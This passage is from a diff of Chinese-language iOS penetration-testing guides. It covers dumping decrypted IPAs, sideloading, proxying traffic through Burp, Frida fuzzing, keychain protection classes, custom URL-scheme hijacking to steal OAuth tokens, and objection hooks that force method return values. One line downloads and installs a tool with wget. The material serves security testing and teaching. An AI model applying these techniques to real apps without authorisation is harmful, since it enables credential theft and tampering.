$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
```
|
||||
此命令启动应用程序转储,导致在当前目录中创建一个 `Telegram.ipa` 文件。此过程适用于越狱设备,因为可以使用像 [**ios-deploy**](https://github.com/ios-control/ios-deploy) 这样的工具重新安装未签名或伪签名的应用程序。
|
||||
此命令启动应用程序转储,导致在当前目录中创建一个 `Telegram.ipa` 文件。此过程适用于越狱设备,因为可以使用像 [**ios-deploy**](https://github.com/ios-control/ios-deploy) 这样的工具重新安装未签名或伪签名的应用。
|
||||
|
||||
#### **flexdecrypt**
|
||||
|
||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 工具及其包装器 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac) 允许从已安装的应用程序中提取 IPA 文件。在设备上安装 **flexdecrypt** 的命令包括下载并安装 `.deb` 包。可以使用 **flexdump** 列出和转储应用程序,如下命令所示:
|
||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 工具及其包装器 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac) 允许从已安装的应用程序中提取 IPA 文件。在设备上安装 **flexdecrypt** 的命令包括下载并安装 `.deb` 包。可以使用 **flexdump** 列出和转储应用,如下命令所示:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
@ -142,15 +142,15 @@ bagbak --raw Chrome
|
||||
|
||||
### **安装应用程序**
|
||||
|
||||
**侧载**是指在官方 App Store 之外安装应用程序。此过程由 **installd daemon** 处理,并要求应用程序使用 Apple 签发的证书进行签名。越狱设备可以通过 **AppSync** 绕过此限制,从而安装伪签名的 IPA 包。
|
||||
**侧载** 指的是在官方 App Store 之外安装应用程序。此过程由 **installd daemon** 处理,并要求应用程序使用 Apple 签发的证书进行签名。越狱设备可以通过 **AppSync** 绕过此限制,从而安装伪签名的 IPA 包。
|
||||
|
||||
#### **侧载工具**
|
||||
|
||||
- **Cydia Impactor**:用于在 iOS 上签名和安装 IPA 文件以及在 Android 上安装 APK 文件的工具。指南和故障排除可以在 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) 上找到。
|
||||
- **Cydia Impactor**:一个用于在 iOS 上签名和安装 IPA 文件以及在 Android 上安装 APK 文件的工具。指南和故障排除可以在 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) 上找到。
|
||||
|
||||
- **libimobiledevice**:用于与 iOS 设备通信的 Linux 和 macOS 库。提供了 ideviceinstaller 的安装命令和使用示例,以便通过 USB 安装应用程序。
|
||||
- **libimobiledevice**:一个用于 Linux 和 macOS 与 iOS 设备通信的库。提供了 ideviceinstaller 的安装命令和使用示例,以便通过 USB 安装应用程序。
|
||||
|
||||
- **ipainstaller**:此命令行工具允许直接在 iOS 设备上安装应用程序。
|
||||
- **ipainstaller**:此命令行工具允许在 iOS 设备上直接安装应用程序。
|
||||
|
||||
- **ios-deploy**:对于 macOS 用户,ios-deploy 可以从命令行安装 iOS 应用程序。解压 IPA 并使用 `-m` 标志进行直接应用启动是该过程的一部分。
|
||||
|
||||
@ -158,7 +158,7 @@ bagbak --raw Chrome
|
||||
|
||||
#### **允许在非 iPad 设备上安装应用程序**
|
||||
|
||||
要在 iPhone 或 iPod touch 设备上安装特定于 iPad 的应用程序,需要将 **Info.plist** 文件中的 **UIDeviceFamily** 值更改为 **1**。然而,此修改需要重新签名 IPA 文件,因为存在签名验证检查。
|
||||
要在 iPhone 或 iPod touch 设备上安装 iPad 特定的应用程序,需要将 **Info.plist** 文件中的 **UIDeviceFamily** 值更改为 **1**。然而,此修改需要重新签名 IPA 文件,因为存在签名验证检查。
|
||||
|
||||
**注意**:如果应用程序要求使用较新 iPad 型号专有的功能,而使用的是较旧的 iPhone 或 iPod touch,则此方法可能会失败。
|
||||
|
||||
|
||||
@ -18,19 +18,19 @@
|
||||
|
||||
### 配置拦截代理
|
||||
|
||||
该设置允许通过 Burp 对 iOS 设备和互联网之间的流量进行分析,需要支持客户端到客户端流量的 Wi-Fi 网络。如果不可用,可以通过 usbmuxd 进行 USB 连接作为替代。PortSwigger 的教程提供了关于 [设备配置](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) 和 [证书安装](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) 的详细说明。
|
||||
该设置允许通过 Burp 对 iOS 设备和互联网之间的流量进行分析,需要支持客户端到客户端流量的 Wi-Fi 网络。如果不可用,可以通过 usbmuxd 的 USB 连接作为替代。PortSwigger 的教程提供了关于 [设备配置](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) 和 [证书安装](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) 的详细说明。
|
||||
|
||||
### 针对越狱设备的高级配置
|
||||
|
||||
对于越狱设备的用户,SSH 通过 USB(通过 **iproxy**)提供了一种直接通过 Burp 路由流量的方法:
|
||||
|
||||
1. **建立 SSH 连接:** 使用 iproxy 将 SSH 转发到本地主机,允许 iOS 设备连接到运行 Burp 的计算机。
|
||||
1. **建立 SSH 连接:** 使用 iproxy 将 SSH 转发到 localhost,允许 iOS 设备连接到运行 Burp 的计算机。
|
||||
|
||||
```bash
|
||||
iproxy 2222 22
|
||||
```
|
||||
|
||||
2. **远程端口转发:** 将 iOS 设备的 8080 端口转发到计算机的本地主机,以便直接访问 Burp 的界面。
|
||||
2. **远程端口转发:** 将 iOS 设备的 8080 端口转发到计算机的 localhost,以便直接访问 Burp 的界面。
|
||||
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
@ -40,7 +40,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
|
||||
### 完整网络监控/嗅探
|
||||
|
||||
可以使用 **Wireshark** 有效监控非 HTTP 设备流量,该工具能够捕获所有形式的数据流量。对于 iOS 设备,通过创建远程虚拟接口来实现实时流量监控,具体过程详见 [这篇 Stack Overflow 帖子](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)。在开始之前,需在 macOS 系统上安装 **Wireshark**。
|
||||
可以使用 **Wireshark** 有效监控非 HTTP 设备流量,该工具能够捕获所有形式的数据流量。对于 iOS 设备,通过创建远程虚拟接口来实现实时流量监控,具体过程详见 [这篇 Stack Overflow 帖子](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)。在开始之前,必须在 macOS 系统上安装 **Wireshark**。
|
||||
|
||||
该过程涉及几个关键步骤:
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
#### **从应用程序二进制文件中提取权限Plist**
|
||||
|
||||
在计算机上访问应用程序二进制文件时,可以使用**binwalk**提取所有XML文件。以下命令演示了如何做到这一点:
|
||||
在计算机上访问应用程序二进制文件后,可以使用**binwalk**提取所有XML文件。以下命令演示了如何做到这一点:
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
@ -34,7 +34,7 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
调整 `-A num, --after-context=num` 标志可以显示更多或更少的行。此方法即使对于加密的应用程序二进制文件也是可行的,并且已在多个 App Store 应用程序中验证过。前面提到的工具也可以在越狱的 iOS 设备上用于类似目的。
|
||||
调整 `-A num, --after-context=num` 标志可以显示更多或更少的行。此方法即使对于加密的应用程序二进制文件也是可行的,并且已在多个 App Store 应用程序中验证过。前面提到的工具也可以在越狱的 iOS 设备上用于类似的目的。
|
||||
|
||||
**注意**:由于 `strings` 命令在查找相关信息方面的局限性,不建议直接使用该命令来完成此任务。相反,建议在二进制文件上使用带有 `-a` 标志的 grep,或使用 radare2 (`izz`)/rabin2 (`-zz`) 以获得更有效的结果。
|
||||
|
||||
|
||||
@ -28,7 +28,7 @@
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
安装了 Frida 服务器并且设备正在运行并连接,**检查**客户端是否**正常工作**:
|
||||
安装了 Frida 服务器并且设备正在运行和连接,**检查**客户端是否**正常工作**:
|
||||
```bash
|
||||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
@ -134,7 +134,7 @@ console.log("loaded")
|
||||
|
||||
### Frida Stalker
|
||||
|
||||
[From the docs](https://frida.re/docs/stalker/): Stalker 是 Frida 的代码 **跟踪引擎**。它允许线程被 **跟踪**,**捕获** 每个函数、**每个块**,甚至每条执行的指令。
|
||||
[From the docs](https://frida.re/docs/stalker/): Stalker 是 Frida 的代码 **跟踪引擎**。它允许线程被 **跟踪**,**捕获** 每个函数、**每个块**,甚至每个执行的指令。
|
||||
|
||||
您可以在 [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) 找到一个实现 Frida Stalker 的示例。
|
||||
|
||||
@ -289,7 +289,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
||||
# You can find code coverage and crashes in examples/wg-log/out/
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 在这种情况下,我们**不会在每个有效负载后重启应用程序或恢复状态**。因此,如果 Frida 发现**崩溃**,那么在该有效负载之后的**下一个输入**也可能**崩溃应用程序**(因为应用程序处于不稳定状态),即使**输入不应该崩溃**应用程序。
|
||||
> 在这种情况下,我们**不会在每个有效负载后重启应用程序或恢复状态**。因此,如果 Frida 发现**崩溃**,那么在该有效负载之后的**下一个输入**也可能会**崩溃应用程序**(因为应用程序处于不稳定状态),即使**输入不应该崩溃**应用程序。
|
||||
>
|
||||
> 此外,Frida 将钩住 iOS 的异常信号,因此当**Frida 发现崩溃**时,可能不会生成**iOS 崩溃报告**。
|
||||
>
|
||||
@ -315,12 +315,12 @@ vim /Library/Preferences/Logging/com.apple.system.logging.plist
|
||||
|
||||
killall -9 logd
|
||||
```
|
||||
您可以检查崩溃记录在:
|
||||
您可以检查崩溃记录:
|
||||
|
||||
- **iOS**
|
||||
- 设置 → 隐私 → 分析与改进 → 分析数据
|
||||
- `/private/var/mobile/Library/Logs/CrashReporter/`
|
||||
- **macOS**:
|
||||
- **macOS**:
|
||||
- `/Library/Logs/DiagnosticReports/`
|
||||
- `~/Library/Logs/DiagnosticReports`
|
||||
|
||||
|
||||
@ -12,12 +12,12 @@
|
||||
|
||||
### **安全考虑**
|
||||
|
||||
关键的安全方面包括:
|
||||
关键安全方面包括:
|
||||
|
||||
- 扩展及其包含的应用通过进程间通信进行通信,而不是直接通信。
|
||||
- **今日小部件**的独特之处在于它可以通过特定方法请求其应用打开。
|
||||
- 共享数据访问在私有容器内是允许的,但直接访问受到限制。
|
||||
- 某些 API,包括 HealthKit,对应用扩展是禁用的,应用扩展也不能启动长时间运行的任务,访问相机或麦克风,除了 iMessage 扩展。
|
||||
- 某些 API,包括 HealthKit,对应用扩展是禁用的,应用扩展也不能启动长时间运行的任务,访问相机或麦克风,iMessage 扩展除外。
|
||||
|
||||
### 静态分析
|
||||
|
||||
|
||||
@ -8,18 +8,18 @@
|
||||
|
||||
# 数据保护
|
||||
|
||||
iOS 为开发者提供了 **数据保护 API**,其建立在安全隔离处理器(SEP)之上——一个专门用于加密操作和密钥管理的协处理器。SEP 通过嵌入其中的唯一设备特定密钥(设备 UID)确保数据保护的完整性。
|
||||
iOS 为开发者提供了 **数据保护 API**,该 API 建立在安全隔离处理器(SEP)之上——一个专门用于加密操作和密钥管理的协处理器。SEP 通过嵌入其中的唯一设备特定密钥(设备 UID)确保数据保护的完整性。
|
||||
|
||||
在文件创建时,会生成一个唯一的 256 位 AES 加密密钥,用于加密文件内容。该加密密钥与类 ID 一起,使用类密钥进行加密并存储在文件的元数据中。解密文件涉及使用系统密钥访问元数据,使用类 ID 检索类密钥,然后解密文件的唯一加密密钥。
|
||||
|
||||
iOS 定义了 **四个保护类** 用于数据安全,决定何时以及如何访问数据:
|
||||
iOS 定义了 **四个保护类** 用于数据安全,这些保护类决定了何时以及如何访问数据:
|
||||
|
||||
- **完全保护 (NSFileProtectionComplete)**:在设备使用用户密码解锁之前,数据不可访问。
|
||||
- **除非打开时受保护 (NSFileProtectionCompleteUnlessOpen)**:即使设备被锁定,只要文件在设备解锁时已打开,仍然允许访问文件。
|
||||
- **直到首次用户身份验证前受保护 (NSFileProtectionCompleteUntilFirstUserAuthentication)**:在首次用户解锁后,数据可访问,即使设备再次被锁定也保持可访问。
|
||||
- **除非打开受保护 (NSFileProtectionCompleteUnlessOpen)**:即使设备被锁定,只要在设备解锁时打开了文件,仍然允许访问文件。
|
||||
- **直到首次用户身份验证受保护 (NSFileProtectionCompleteUntilFirstUserAuthentication)**:在首次用户解锁后,数据可访问,即使设备再次被锁定也保持可访问。
|
||||
- **无保护 (NSFileProtectionNone)**:数据仅由设备 UID 保护,便于快速远程数据清除。
|
||||
|
||||
所有类的加密,除了 `NSFileProtectionNone`,都涉及一个由设备 UID 和用户密码派生的密钥,确保解密仅在具有正确密码的设备上可能。从 iOS 7 开始,默认保护类为“直到首次用户身份验证前受保护”。
|
||||
所有类的加密,除了 `NSFileProtectionNone`,都涉及一个由设备 UID 和用户密码派生的密钥,确保只有在具有正确密码的设备上才能解密。从 iOS 7 开始,默认保护类为“直到首次用户身份验证受保护”。
|
||||
|
||||
开发者可以使用 [**FileDP**](https://github.com/abjurato/FileDp-Source) 工具检查 iPhone 上文件的数据保护类。
|
||||
```python
|
||||
@ -32,7 +32,7 @@ python filedp.py /path/to/check
|
||||
```
|
||||
## **钥匙串**
|
||||
|
||||
在 iOS 中,**钥匙串**作为一个安全的**加密容器**,用于存储**敏感信息**,仅可由存储它的应用程序或那些明确授权的应用程序访问。这种加密由 iOS 生成的唯一**密码**增强,该密码本身使用**AES**加密。此加密过程利用了**PBKDF2 函数**,将用户的密码与来自设备的**UID**派生的盐结合,只有**安全隔离芯片**可以访问该组件。因此,即使用户的密码已知,钥匙串的内容在任何其他设备上仍然无法访问,只有在最初加密的设备上才能访问。
|
||||
在 iOS 中,**钥匙串**作为一个安全的**加密容器**,用于存储**敏感信息**,仅可由存储它的应用程序或那些明确授权的应用程序访问。这种加密由 iOS 生成的唯一**密码**增强,该密码本身使用**AES**加密。此加密过程利用了**PBKDF2 函数**,将用户的密码与来自设备的**UID**的盐结合,只有**安全隔离芯片**可以访问该组件。因此,即使用户的密码已知,钥匙串的内容在任何其他设备上仍然无法访问,只有在最初加密的设备上才能访问。
|
||||
|
||||
**钥匙串数据的管理和访问**由**`securityd` 守护进程**处理,基于特定的应用程序权限,如 `Keychain-access-groups` 和 `application-identifier`。
|
||||
|
||||
@ -40,10 +40,10 @@ python filedp.py /path/to/check
|
||||
|
||||
钥匙串 API 的详细信息见 [Apple's Keychain Services documentation](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html),提供了安全存储管理的基本功能:
|
||||
|
||||
- **`SecItemAdd`**:向钥匙串添加新项目。
|
||||
- **`SecItemUpdate`**:更新钥匙串中的现有项目。
|
||||
- **`SecItemCopyMatching`**:从钥匙串检索项目。
|
||||
- **`SecItemDelete`**:从钥匙串删除项目。
|
||||
- **`SecItemAdd`**: 向钥匙串添加新项目。
|
||||
- **`SecItemUpdate`**: 更新钥匙串中的现有项目。
|
||||
- **`SecItemCopyMatching`**: 从钥匙串检索项目。
|
||||
- **`SecItemDelete`**: 从钥匙串删除项目。
|
||||
|
||||
暴力破解钥匙串密码涉及直接攻击加密密钥或尝试在设备上猜测密码,这在很大程度上受到安全隔离的强制延迟的阻碍。
|
||||
|
||||
@ -51,13 +51,13 @@ python filedp.py /path/to/check
|
||||
|
||||
钥匙串项目的数据保护级别在项目创建或更新时使用 `kSecAttrAccessible` 属性设置。这些级别,[如 Apple 所指定](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100),决定了钥匙串项目何时以及如何可访问:
|
||||
|
||||
- **`kSecAttrAccessibleAlways`**:随时可访问,无论设备锁定状态如何。
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**:始终可访问,但不包括在备份中。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**:在重启后第一次解锁后可访问。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**:与上述相同,但不可转移到新设备。
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**:仅在设备解锁时可访问。
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**:解锁时可访问,不包括在备份中。
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**:需要设备密码,不包括在备份中。
|
||||
- **`kSecAttrAccessibleAlways`**: 随时可访问,无论设备锁定状态如何。
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: 始终可访问,但不包括在备份中。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: 在重启后第一次解锁后可访问。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: 与上述相同,但不可转移到新设备。
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: 仅在设备解锁时可访问。
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: 解锁时可访问,不包括在备份中。
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: 需要设备密码,不包括在备份中。
|
||||
|
||||
**`AccessControlFlags`** 进一步细化访问方法,允许使用生物识别认证或密码。
|
||||
|
||||
@ -118,7 +118,7 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
|
||||
## 权限
|
||||
|
||||
**权限** 是 iOS 应用开发的另一个关键方面,作为键值对,授予应用程序执行某些超出运行时检查的操作的权限。例如,在应用程序中启用 **数据保护** 涉及在 Xcode 项目中添加特定权限,这随后反映在应用程序的权限文件或 IPA 的嵌入式移动配置文件中。
|
||||
**权限** 是 iOS 应用开发的另一个关键方面,作为键值对,授予应用程序执行某些操作的权限,超出运行时检查。例如,在应用程序中启用 **数据保护** 涉及在 Xcode 项目中添加特定权限,这随后反映在应用程序的权限文件或 IPA 的嵌入式移动配置文件中。
|
||||
|
||||
# 参考文献
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
自定义 URL 方案使应用能够使用自定义协议进行通信,详细信息请参见 [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)。这些方案必须由应用声明,然后应用处理遵循这些方案的传入 URL。至关重要的是 **验证所有 URL 参数** 和 **丢弃任何格式错误的 URL** 以防止通过此向量进行攻击。
|
||||
自定义 URL 方案使应用能够使用自定义协议进行通信,详细信息见 [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)。这些方案必须由应用声明,然后应用处理遵循这些方案的传入 URL。**验证所有 URL 参数** 和 **丢弃任何格式错误的 URL** 是至关重要的,以防止通过此向量进行攻击。
|
||||
|
||||
给出了一个示例,其中 URI `myapp://hostname?data=123876123` 调用特定的应用操作。一个已知的漏洞出现在 Skype Mobile 应用中,它允许通过 `skype://` 协议进行未授权的呼叫操作。注册的方案可以在应用的 `Info.plist` 中的 `CFBundleURLTypes` 下找到。恶意应用可以通过重新注册 URI 来拦截敏感信息。
|
||||
|
||||
@ -48,13 +48,13 @@ return true
|
||||
|
||||
像 `openURL:options:completionHandler:` 这样的方法对于打开 URL 以与其他应用交互至关重要。识别应用源代码中此类方法的使用对于理解外部通信至关重要。
|
||||
|
||||
### 测试过时的方法
|
||||
### 测试已弃用的方法
|
||||
|
||||
处理 URL 打开的过时方法,如 `application:handleOpenURL:` 和 `openURL:`,应被识别并审查其安全影响。
|
||||
处理 URL 打开的已弃用方法,如 `application:handleOpenURL:` 和 `openURL:`,应被识别并审查其安全影响。
|
||||
|
||||
### 模糊测试 URL 方案
|
||||
|
||||
模糊测试 URL 方案可以识别内存损坏漏洞。像 [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) 这样的工具可以通过打开带有不同有效负载的 URL 来自动化此过程,以监控崩溃,示例为在 iGoat-Swift 应用中对 URL 的操控:
|
||||
模糊测试 URL 方案可以识别内存损坏漏洞。像 [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) 这样的工具可以通过打开带有不同有效负载的 URL 来自动化此过程,以监控崩溃,示例为 iGoat-Swift 应用中 URL 的操控:
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
@ -64,9 +64,9 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
||||
```
|
||||
## 自定义 URL 方案劫持
|
||||
|
||||
根据 [**这篇文章**](https://evanconnelly.github.io/post/ios-oauth/),恶意应用可以 **注册其他应用的自定义方案,** 然后恶意应用可以使用 [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters) 打开一个包含 Safari 应用所有 cookies 的浏览器。 
|
||||
根据 [**这篇文章**](https://evanconnelly.github.io/post/ios-oauth/),恶意应用可以 **注册其他应用的自定义方案,** 然后恶意应用可以使用 [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters) 打开一个具有 Safari 应用所有 cookie 的浏览器。 
|
||||
|
||||
通过浏览器,恶意应用可以加载一个攻击者控制的网页,TCC 将询问移动用户是否允许打开该应用。然后,恶意网页可能会重定向到受害者页面,例如带有参数 `prompt=none` 的 OAuth 流程。如果用户已经登录了 OAuth 流程,OAuth 流程将使用受害者应用的自定义方案将密钥发送回受害者应用。\
|
||||
通过浏览器,恶意应用可以加载攻击者控制的网页,TCC 将询问移动用户是否允许打开该应用。然后,恶意网页可能会重定向到受害者页面,例如带有参数 `prompt=none` 的 OAuth 流程。如果用户已经登录了 OAuth 流程,OAuth 流程将使用受害者应用的自定义方案将密钥发送回受害者应用。\
|
||||
然而,由于恶意应用也注册了它,并且所使用的浏览器在恶意应用内部,因此在这种情况下,自定义方案将由恶意应用处理,恶意应用将能够窃取 OAuth 令牌。
|
||||
|
||||
## 参考文献
|
||||
|
||||
@ -8,9 +8,9 @@ objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
您还可以执行 `frida-ps -Uia` 来检查手机上正在运行的进程。
|
||||
|
||||
# 应用程序的基本枚举
|
||||
# 应用的基本枚举
|
||||
|
||||
## 本地应用程序路径
|
||||
## 本地应用路径
|
||||
|
||||
- `env`: 查找应用程序在设备内存储的路径
|
||||
|
||||
@ -106,9 +106,9 @@ variable _ZTIN9couchbase6differ10BaseDifferE
|
||||
[..]
|
||||
```
|
||||
|
||||
## 列出应用程序的类
|
||||
## 列出应用的类
|
||||
|
||||
- `ios hooking list classes`: 列出应用程序的类
|
||||
- `ios hooking list classes`: 列出应用的类
|
||||
|
||||
```bash
|
||||
ios hooking list classes
|
||||
@ -127,7 +127,7 @@ AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
|
||||
- `ios hooking search classes <search_term>`: 搜索包含字符串的类。您可以 **搜索与主应用程序包** 名称相关的某些唯一术语,以找到应用程序的主要类,如示例所示:
|
||||
- `ios hooking search classes <search_term>`: 搜索包含字符串的类。您可以**搜索与主应用程序包**名称相关的某个唯一术语,以找到应用的主要类,如下例所示:
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
@ -181,7 +181,7 @@ ios hooking search methods cvv
|
||||
|
||||
# 基本 Hooking
|
||||
|
||||
现在您已经 **枚举了应用程序使用的类和模块**,您可能发现了一些 **有趣的类和方法名称**。
|
||||
现在您已经**枚举了应用程序使用的类和模块**,您可能发现了一些**有趣的类和方法名称**。
|
||||
|
||||
## Hook 所有类的方法
|
||||
|
||||
@ -201,7 +201,7 @@ ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPresse
|
||||
|
||||
## 更改布尔返回值
|
||||
|
||||
- `ios hooking set return_value "-[<class_name> <method_name>]" false`: 这将使选定的方法返回指定的布尔值
|
||||
- `ios hooking set return_value "-[<class_name> <method_name>]" false`: 这将使所选方法返回指定的布尔值
|
||||
|
||||
```bash
|
||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## iOS 开发中的对象序列化
|
||||
|
||||
在 iOS 中,**对象序列化** 涉及将对象转换为可以轻松存储或传输的格式,然后在需要时从该格式重建它们。两个主要协议,**`NSCoding`** 和 **`NSSecureCoding`**,为 Objective-C 或 `NSObject` 子类提供了这一过程的便利,使对象能够序列化为 **`NSData`**,一种包装字节缓冲区的格式。
|
||||
在 iOS 中,**对象序列化** 涉及将对象转换为可以轻松存储或传输的格式,然后在需要时从该格式重建它们。两个主要协议,**`NSCoding`** 和 **`NSSecureCoding`**,为 Objective-C 或 `NSObject` 子类提供了这一过程,允许对象序列化为 **`NSData`**,一种包装字节缓冲区的格式。
|
||||
|
||||
### **`NSCoding`** 实现
|
||||
|
||||
@ -35,16 +35,16 @@ return true
|
||||
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## 使用 `NSKeyedArchiver` 进行数据归档
|
||||
## 数据归档与 `NSKeyedArchiver`
|
||||
|
||||
`NSKeyedArchiver` 及其对应的 `NSKeyedUnarchiver` 允许将对象编码到文件中,并在后续检索它们。此机制对于持久化对象非常有用:
|
||||
`NSKeyedArchiver` 及其对应的 `NSKeyedUnarchiver` 允许将对象编码到文件中,并在后续检索。这种机制对于持久化对象非常有用:
|
||||
```swift
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
### 使用 `Codable` 简化序列化
|
||||
|
||||
Swift 的 `Codable` 协议结合了 `Decodable` 和 `Encodable`,便于对 `String`、`Int`、`Double` 等对象进行编码和解
|
||||
Swift 的 `Codable` 协议结合了 `Decodable` 和 `Encodable`,便于对 `String`、`Int`、`Double` 等对象进行编码和解码,而无需额外的努力:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
@ -59,7 +59,7 @@ var name: String
|
||||
|
||||
### 安全考虑
|
||||
|
||||
在序列化数据时,特别是到文件系统时,必须警惕潜在的敏感信息的包含。如果序列化数据被拦截或处理不当,可能会使应用程序面临未经授权的操作或数据泄露等风险。建议对序列化数据进行加密和签名,以增强安全性。
|
||||
在序列化数据时,特别是到文件系统时,必须警惕潜在的敏感信息的包含。如果序列化数据被拦截或处理不当,可能会使应用程序面临未经授权的操作或数据泄露等风险。建议对序列化数据进行加密和签名以增强安全性。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
从 Xcode 7.2 开始,Apple 提供了创建**免费 iOS 开发 provisioning profile**的选项,允许您在真实的 iPhone 上编写和测试您的应用程序。前往 _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (添加新的 Appli ID 和您的凭据) --> _点击创建的 Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
|
||||
\_\_然后,为了在您的 iPhone 上运行应用程序,您首先需要**指示 iPhone 信任计算机。** 然后,您可以尝试**从 Xcode 在移动设备上运行应用程序,**但会出现错误。因此,前往 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 选择不受信任的配置文件并点击“**信任**”。
|
||||
|
||||
请注意,**由相同签名证书签名的应用程序可以以安全的方式共享资源,例如钥匙串项目**。
|
||||
请注意,**由相同签名证书签名的应用程序可以以安全的方式共享资源,例如钥匙串项**。
|
||||
|
||||
Provisioning profiles 存储在手机内的 **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
@ -29,7 +29,7 @@ Apple 用于创建/调试/插桩 iOS 应用程序的事实工具是**Xcode**。
|
||||
模拟器文件可以在 `/Users/<username>/Library/Developer/CoreSimulator/Devices` 中找到。
|
||||
|
||||
要打开模拟器,请运行 Xcode,然后在 _Xcode 标签_ 中按 --> _Open Developer tools_ --> _Simulator_\
|
||||
\_\_在下图中点击“iPod touch \[...\]”可以选择其他设备进行测试:
|
||||
\_\_在下图中,点击“iPod touch \[...\]”可以选择其他设备进行测试:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -37,7 +37,7 @@ Apple 用于创建/调试/插桩 iOS 应用程序的事实工具是**Xcode**。
|
||||
|
||||
### 模拟器中的应用程序
|
||||
|
||||
在 `/Users/<username>/Library/Developer/CoreSimulator/Devices` 中,您可以找到所有**已安装的模拟器**。如果您想访问在其中一个仿真器中创建的应用程序的文件,可能很难知道**应用程序安装在哪个仿真器中**。快速找到**正确的 UID**的方法是在模拟器中执行应用程序并执行:
|
||||
